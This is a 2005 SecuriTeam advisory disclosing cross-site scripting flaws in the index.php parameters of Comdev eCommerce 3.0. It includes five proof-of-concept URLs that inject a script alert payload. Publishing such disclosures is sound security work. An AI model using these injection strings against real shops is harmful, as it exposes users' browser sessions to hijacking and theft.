[UNIX] Comdev eCommerce Cross Site Scripting

From: SecuriTeam (support_at_securiteam.com)
Date: 01/26/05

  • Next message: SecuriTeam: "[TOOL] KSB26 - Kernel Socks Bouncer" 
    To: list@securiteam.com
Date: 26 Jan 2005 18:04:08 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Comdev eCommerce Cross Site Scripting
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.comdevweb.com/ecommerce.php> Comdev eCommerce 3.0 is "a
    ready-made, flexible ordering system that will allow you to sell any type
    of product with a few simple clicks".

    The Comdev eCommerce has been found to contain multiple cross site
    scripting vulnerabilities that allow a remote attacker to include
    arbitrary HTML/JavaScript into existing eCommerce pages.

    DETAILS

    Vulnerable Systems:
     * Comdev eCommerce version 3.0

    The vulnerability is caused due to missing validation of input supplied to
    "start", "category_id", "keyword , "pageaction" and "product_id"
    parameters in "index.php". This can be exploited by including arbitrary
    HTML or script code in the parameters, which will cause it to be executed
    in a user's browser session when viewed.

    Proof of concept:
    The following URLs can be used to trigger the cross site scripting
    vulnerabilities:
    http://vulnerable/index.php?product_id=477&pageactionprev=viewpricelist
    &start=0"><script>alert(document.domain);</script>&category_id=&keyword=

    http://vulnerable/index.php?product_id=477&pageactionprev=viewpricelist
    &start=0&category_id="><script>alert(document.domain);</script>&keyword=

    http://vulnerable/index.php?product_id=477&pageactionprev=viewpricelist
    &start=0&category_id=&keyword="><script>alert(document.domain);</script>

    http://vulnerable/index.php?pageaction=viewpricelist"><script>alert(document.domain);</script>

    http://vulnerable/index.php?product_id=477"><script>alert(document.domain);</script>
    &pageactionprev=viewpricelist&start=0&category_id=&keyword=

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:smok3f00@gmail.com> SmOk3.
    The original article can be found at:
    <http://www.systemsecure.org/wwwboard/messages/222.html>
    http://www.systemsecure.org/wwwboard/messages/222.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] KSB26 - Kernel Socks Bouncer"

    Relevant Pages

    • [UNIX] phpBB HTTP Response Splitting and Cross Site Scripting Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... phpBB is prone to cross-site scripting and HTTP response splitting ... These vulnerabilities may allow an attacker to perform various attacks ... sensitive user information and perform cross-site scripting attacks. ...
      (Securiteam)
    • [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions, rxsDeleteFile, ...
      (Securiteam)
    • [NT] Novell eDirectory Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Novell eDirectory Multiple Vulnerabilities ... Three different vulnerabilities were discovered in Novell's eDirectory ... NCP over IP length Heap Overflow: ...
      (Securiteam)
    • [NEWS] Multiple Vendor ImageMagick DCM and XWD Buffer Overflow Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Vendor ImageMagick DCM and XWD Buffer Overflow Vulnerabilities ...
      (Securiteam)
    • [UNIX] Apache HTTPD suEXEC Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apache HTTPD suEXEC Multiple Vulnerabilities ... Local exploitation of multiple vulnerabilities within Apache Software ... Foundation's suexec utility could allow an attacker to execute arbitrary ...
      (Securiteam)